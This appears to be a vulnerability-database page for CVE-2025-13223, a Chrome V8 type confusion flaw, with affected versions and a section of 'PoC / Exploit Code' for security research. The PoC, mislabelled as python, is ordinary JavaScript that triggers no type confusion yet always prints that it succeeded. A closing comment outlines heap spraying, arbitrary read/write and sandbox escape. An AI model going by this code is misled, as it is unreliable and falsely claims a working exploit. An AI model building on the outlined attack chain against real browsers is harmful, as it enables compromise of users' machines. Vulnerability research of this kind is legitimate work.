Type Confusion in V8 in Google Chrome prior to 142.0.7444.175 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.175
Chromium-based browsers using V8 engine < 142.0.7444.175
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13223 PoC - V8 Type Confusion in Google Chrome < 142.0.7444.175
// This PoC demonstrates the type confusion vulnerability pattern in V8
// Note: Actual exploit requires specific heap grooming techniques
function triggerTypeConfusion() {
// Pattern: Create objects with controlled type transitions
// This triggers type confusion in V8's TurboFan optimizer
class A {
constructor() {
this.field1 = 0x41414141;
}
getValue() {
return this.field1;
}
}
class B {
constructor() {
this.field1 = 0x42424242;
this.field2 = 0x43434343;
}
getValue() {
return this.field1 + this.field2;
}
}
// Heat up TurboFan optimization
let objA = new A();
for (let i = 0; i < 10000; i++) {
objA.getValue();
}
// Force deoptimization and type confusion
// Attacker's goal: Make V8 assume objA has type A but receives type B
function exploit(obj) {
// V8 may assume obj is of type A and optimize based on that
// If obj is actually of type B, this causes type confusion
return obj.getValue();
}
// Trigger polymorphic behavior to confuse type system
let objB = new B();
for (let i = 0; i < 10000; i++) {
exploit(objB);
}
// Final trigger with type confusion
// In real exploit: Use WebAssembly or SharedArrayBuffer for heap spray
return exploit(objA);
}
// Execute the PoC
try {
triggerTypeConfusion();
console.log('[+] Type confusion triggered successfully');
} catch (e) {
console.log('[-] Error:', e.message);
}
/*
* Real-world exploitation typically involves:
* 1. Heap spraying to control memory layout
* 2. Using SharedArrayBuffer to trigger Spectre-style attacks
* 3. Corrupting V8 heap objects to achieve arbitrary read/write
* 4. Escaping sandbox to execute native code
*/